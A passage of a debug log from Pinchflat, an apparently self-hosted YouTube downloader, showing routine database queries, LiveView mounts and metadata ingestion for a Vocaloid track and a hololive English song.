"/downloads/Nightcore/Nightcore/2026-07-03⠀[zCISRUzhS-c].m4a", "id" => "zCISRUzhS-c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zCISRUzhS-c", "playlist_index" => 35, "timestamp" => 1783078206, "title" => "⠀", "upload_date" => "20260703"} 22:22:36.429 [debug] QUERY OK source="sources" db=0.2ms idle=1011.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:36.429 [debug] QUERY OK source="sources" db=0.1ms idle=1011.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:36.430 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-03 11:30:06Z], 1] 22:22:36.674 [debug] QUERY OK source="media_items" db=243.4ms idle=1002.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["僕だけ異常な訳じゃない。\n\n\nMusic:earmi\nX: https://x.com/earmi1095?s=11&t=jutdFpBrofGYQchweE7jig\n\nillustration:せかいせいは様\nX: https://x.com/sekaiseihasann?s=21&t=jutdFpBrofGYQchweE7jig\n\n\n\n#初音ミク #vocaloid #ボカロ", "⠀", "f041c9a6-39a4-45b2-88b0-a1bc4986e080", false, "zCISRUzhS-c", 168, false, "https://www.youtube.com/watch?v=zCISRUzhS-c", 35, "/downloads/Nightcore/Nightcore/2026-07-03⠀[zCISRUzhS-c].m4a", false, false, 1, [], 1, ~U[2026-07-03 11:30:06Z], ~U[2026-07-24 02:22:36Z], ~U[2026-07-24 02:22:36Z], "僕だけ異常な訳じゃない。\n\n\nMusic:earmi\nX: https://x.com/earmi1095?s=11&t=jutdFpBrofGYQchweE7jig\n\nillustration:せかいせいは様\nX: https://x.com/sekaiseihasann?s=21&t=jutdFpBrofGYQchweE7jig\n\n\n\n#初音ミク #vocaloid #ボカロ", "⠀", "zCISRUzhS-c", 168, false, "https://www.youtube.com/watch?v=zCISRUzhS-c", "/downloads/Nightcore/Nightcore/2026-07-03⠀[zCISRUzhS-c].m4a", false, 1, ~U[2026-07-03 11:30:06Z]] 22:22:36.674 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=245.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:36.675 [debug] QUERY OK source="media_profiles" db=0.3ms idle=245.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:36.676 [debug] QUERY OK source="media_items" db=0.4ms idle=245.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [35] 22:22:36.676 [debug] Current batch of media processed. Will check again in 1000ms 22:22:36.679 [info] GET /sources/1 22:22:36.679 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 22:22:36.680 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=249.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:36.680 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:36.681 [debug] QUERY OK source="tasks" db=0.4ms idle=6.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 22:22:36.682 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=6.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [201] 22:22:36.682 [debug] QUERY OK source="settings" db=0.0ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:36.682 [debug] QUERY OK source="settings" db=0.0ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:36.682 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:36.683 [debug] QUERY OK source="sources" db=0.0ms idle=1.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:36.684 [debug] QUERY OK source="media_items" db=0.2ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:22:36.684 [debug] QUERY OK source="media_items" db=0.2ms idle=1.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:22:36.684 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:36.685 [debug] QUERY OK source="media_items" db=0.1ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:22:36.685 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:22:36.686 [debug] QUERY OK source="sources" db=0.0ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:36.686 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 22:22:36.686 [debug] QUERY OK source="media_items" db=0.2ms idle=1.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:22:36.687 [info] Sent 200 in 8ms 22:22:36.794 [info] CONNECTED TO Phoenix.LiveView.Socket in 18µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "CF4KDzYxPngbXhkGVCF1GAQ6dQoKJC1za398_yW9p8-V6lDNTPAyYPz0", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.tail3db17d.ts.net/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.tail3db17d.ts.net/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:22:36.814 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "pending", "source_id" => 1} 22:22:36.815 [debug] QUERY OK source="sources" db=0.4ms idle=129.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:36.816 [debug] QUERY OK source="media_items" db=0.6ms idle=130.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:22:36.816 [debug] QUERY OK source="media_items" db=0.2ms idle=130.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:22:36.817 [debug] Replied in 2ms 22:22:36.817 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "downloaded", "source_id" => 1} 22:22:36.818 [debug] QUERY OK source="sources" db=0.1ms idle=131.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:36.818 [debug] QUERY OK source="media_items" db=0.0ms idle=131.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:22:36.818 [debug] QUERY OK source="media_items" db=0.1ms idle=2.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:22:36.818 [debug] Replied in 728µs 22:22:36.819 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "other", "source_id" => 1} 22:22:36.819 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:36.819 [debug] QUERY OK source="media_items" db=0.1ms idle=2.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 22:22:36.820 [debug] QUERY OK source="media_items" db=0.3ms idle=1.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:22:36.820 [debug] Replied in 1ms 22:22:37.678 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "our chains will bind you here forever 🐾⛓️ \n\n(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)\nOriginal Song: hololive English Advent\nVocals: FUWAMOCO\nMix: はまひろ\nArt: Hyde\nMovie: オムカ\nOriginal: https://www.youtube.com/watch?v=YDyrIDHAdDY\n\n(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)\n\n#holoAdvent\n#hololiveEnglish\n---------------------------------------------\nCorrection:\nThe lyric \"Locked away where nightmares keep you awake\" were mistakenly sung \"Locked away when nightmares keep you awake\". We apologize for the mistake!\n---------------------------------------------\n\n(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)\n#FUWAMOCO (配信)\n#FWMCpix (絵)\n#helpFWMC (リクエスト/素材/Q&A用)\n#lilFWMC (切り抜き)\n#FWMCbeats (音楽)\n#FWMCwww (ミーム)\n#FWMCMORNING (バラエティ番組)\n\n≪TWITTER≫\nhttps://twitter.com/fuwamoco_en\n@FUWAMOCOch\n\n≪(∪・ω・∪ ♡::::::::::::::::♡ ∪・ω・∪)≫\n\n♡ RULES ♡\n\n・Be nice to other viewers and treat everyone with respect! Let’s make a loving community! ♡\n・All forms of hate, discrimination, harassment, and trolling are not permitted. \n・Don’t bring up other channels or streams unless they are mentioned by FUWAMOCO. \n・No spoilers please, but feel free to give advice when asked! \n・Please limit comments unrelated to FUWAMOCO or spam so that we can read your comments!\n・Chat prior to the start of the stream is fine as long as it’s related to the stream. \n・Most importantly, have fun!! We need your smile to protect! BAU BAU!! 🐾\n\n≪(∪・ω・∪三∪・ω・∪)≫\n[Fan Work Guidelines]\nhttps://en.hololive.tv/terms\n≪(∪・ω・∪三∪・ω・∪)≫\nRequest from hololive Production to underage viewers:\nPlease be sure to check the link below before viewing our content.\nhttps://en.hololive.tv/request-to-minors\n≪(∪・ω・∪三∪・ω・∪)≫\n[Official Online Shop]\nhttps://shop.hololivepro.com/en\n[Holoschedule] (Check all members streaming schedules)\nhttps://schedule.hololive.tv/#hololive\n≪(∪・ω・∪三∪・ω・∪)≫\n[Hololive Production]\n・Hololive English YouTube Channel: https://t.co/LcYDgFF9V0?amp=1\n・Hololive Production Official Twitter: https://twitter.com/hololivetv\n・Hololive English Official Twitter: https://twitter.com/hololive_En\n・Hololive English Official Reddit: https://www.reddit.com/r/Hololive/", "duration" => 176, "filename" => "/downloads/Nightcore/Nightcore/2025-10-31【MV】Prisoner/hololive English Advent 